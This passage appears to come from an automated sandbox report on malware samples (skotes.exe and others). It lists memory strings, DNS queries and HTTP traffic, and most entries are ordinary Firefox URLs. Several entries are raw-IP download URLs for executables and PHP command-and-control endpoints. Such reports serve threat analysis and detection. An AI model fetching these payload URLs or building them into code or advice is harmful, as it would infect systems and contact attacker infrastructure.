"://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000002A.00000002.2951780775.000001FA73753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2730372088.0000023509E67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2738641118.000001D462003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2738641118.000001D462003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2738641118.000001D462003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002A.00000002.3014163475.000001FA7A11A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012622457.000001FA79781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000002A.00000002.3007673049.000001FA79127000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012622457.000001FA79794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: firefox.exe, 0000002A.00000002.2985567217.000001FA77749000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 1026aa8304.exe, 00000007.00000003.2818353680.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395d7
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe;
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeN
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exehp/i
Source: 1026aa8304.exe, 1026aa8304.exe, 00000007.00000003.2817273993.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2816524312.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000002.2921600485.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 1026aa8304.exe, 00000007.00000002.2920666044.00000000009EB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: 1026aa8304.exe, 00000007.00000003.2817273993.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000002.2921600485.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exes~
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeU
Source: 1026aa8304.exe, 00000007.00000002.2921600485.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exek9a
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: 1026aa8304.exe, 00000007.00000003.2818353680.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exeCLSID
Source: 3c882da37a.exe, 00000009.00000002.2593021915.000000000081E000.00000004.00000020.00020000.00000000.sdmp, 3c882da37a.exe, 0000001B.00000002.2775509635.0000000001309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 3c882da37a.exe, 00000009.00000002.2593021915.0000000000878000.00000004.00000020.00020000.00000000.sdmp, 3c882da37a.exe, 00000009.00000002.2593021915.0000000000864000.00000004.00000020.00020000.00000000.sdmp, 3c882da37a.exe, 0000001B.00000002.2775509635.0000000001309000.00000004.00000020.00020000.00000000.sdmp, 3c882da37a.exe, 0000001B.00000002.2775509635.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 3c882da37a.exe, 0000001B.00000002.2775509635.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/#
Source: 3c882da37a.exe, 00000009.00000002.2593021915.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/%
Source: 3c882da37a.exe, 00000009.00000002.2593021915.0000000000878000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/-
Source: 3c882da37a.exe, 0000001B.00000002.2775509635.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 3c882da37a.exe, 00000009.00000002.2593021915.0000000000864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php.
Source: 3c882da37a.exe, 00000009.00000002.2593021915.0000000000878000.00000004.00000020.00020000.00000000.sdmp, 3c882da37a.exe, 0000001B.00000002.2775509635.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 3c882da37a.exe, 0000001B.00000002.2775509635.0000000001360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php;
Source: 3c882da37a.exe, 00000009.00000002.2593021915.0000000000864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpJ
Source: 3c882da37a.exe, 00000009.00000002.2593021915.000000000089B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpV
Source: 3c882da37a.exe, 0000001B.00000002.2775509635.0000000001309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpindows
Source: 3c882da37a.exe, 00000009.00000002.2593021915.0000000000864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpr
Source: 3c882da37a.exe, 0000001B.00000002.2775509635.0000000001360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpw
Source: 3c882da37a.exe, 00000009.00000002.2593021915.0000000000878000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/q
Source: 3c882da37a.exe, 0000001B.00000002.2775509635.0000000001309000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206rH
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3040117315.0000000000E28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php7
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php8509001
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpfX
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpjX
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedr
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phppG=
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php~X
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49###
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/fac00b58987e8e4f4b2846d934f48b15eaa495c49#
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11//Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe12
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe15
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe31dX
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b3
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe4?
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506238476
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506238ded
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe8
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe822dda4848.exe
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe84
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe8510001
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe85y
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeAppData
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeD
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeQ
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeurlencoded
Source: skotes.exe, 00000006.00000002.3040117315.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe~9
Source: 1026aa8304.exe, 00000007.00000003.2538228576.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2710237945.00000000056B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 1026aa8304.exe, 00000007.00000003.2538228576.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2710237945.00000000056B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000002A.00000002.2959538346.000001FA73D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 1026aa8304.exe, 00000007.00000003.2597505762.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2696485168.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2592579829.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2570772415.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microH
Source: 1026aa8304.exe, 00000007.00000003.2538228576.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2710237945.00000000056B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 1026aa8304.exe, 00000007.00000003.2538228576.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2710237945.00000000056B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 1026aa8304.exe, 00000007.00000003.2538228576.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2710237945.00000000056B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 1026aa8304.exe, 00000007.00000003.2538228576.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2710237945.00000000056B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 1026aa8304.exe, 00000007.00000003.2538228576.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2710237945.00000000056B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA767E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dev.w3.org/html5/spec/rendering.html#rendering
Source: firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000002A.00000002.2943968009.000001FA73061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-timesp
Source: firefox.exe, 0000002A.00000002.2943968009.000001FA73061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000002A.00000002.2936426983.000001FA67803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 0000002A.00000003.2828567385.000001FA77F9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2995258592.000001FA782B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3002266706.000001FA789FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76798000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2806473642.000001FA76F2A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2993976491.000001FA780C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2902645933.000001FA78462000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012622457.000001FA7973F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2820245900.000001FA77D73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3007673049.000001FA791D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2830098870.000001FA77F78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA767F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2902645933.000001FA7843D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2985567217.000001FA77749000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2894161926.000001FA780C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3004495789.000001FA78DB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3031084873.000001FD0003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2836808146.000001FA780C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2842917948.000001FA782B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA767A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 1026aa8304.exe, 00000007.00000003.2538228576.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2710237945.00000000056B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 1026aa8304.exe, 00000007.00000003.2538228576.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2710237945.00000000056B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000002A.00000002.2959538346.000001FA73D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000018.00000003.2728588039.000002350BAA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000018.00000003.2728588039.000002350BAA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000002A.00000003.2820245900.000001FA77D86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2831751222.000001FA77F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2828743197.000001FA77F89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2819654986.000001FA77E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc
Source: firefox.exe, 0000002A.00000002.2959538346.000001FA73D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA767AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.ethiopic.org/Collation/OrderedLists.html.
Source: firefox.exe, 0000002A.00000003.2831751222.000001FA77F60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2819654986.000001FA77E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com
Source: firefox.exe, 0000002A.00000002.2959538346.000001FA73D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
